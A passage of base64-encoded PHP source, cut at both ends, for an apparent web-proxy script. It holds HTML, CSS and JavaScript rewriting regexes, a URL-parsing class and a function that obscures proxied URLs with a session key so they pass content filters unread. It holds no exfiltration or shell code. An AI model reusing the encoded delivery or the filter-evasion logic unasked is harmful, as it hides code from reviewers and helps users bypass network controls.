h0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2Jhb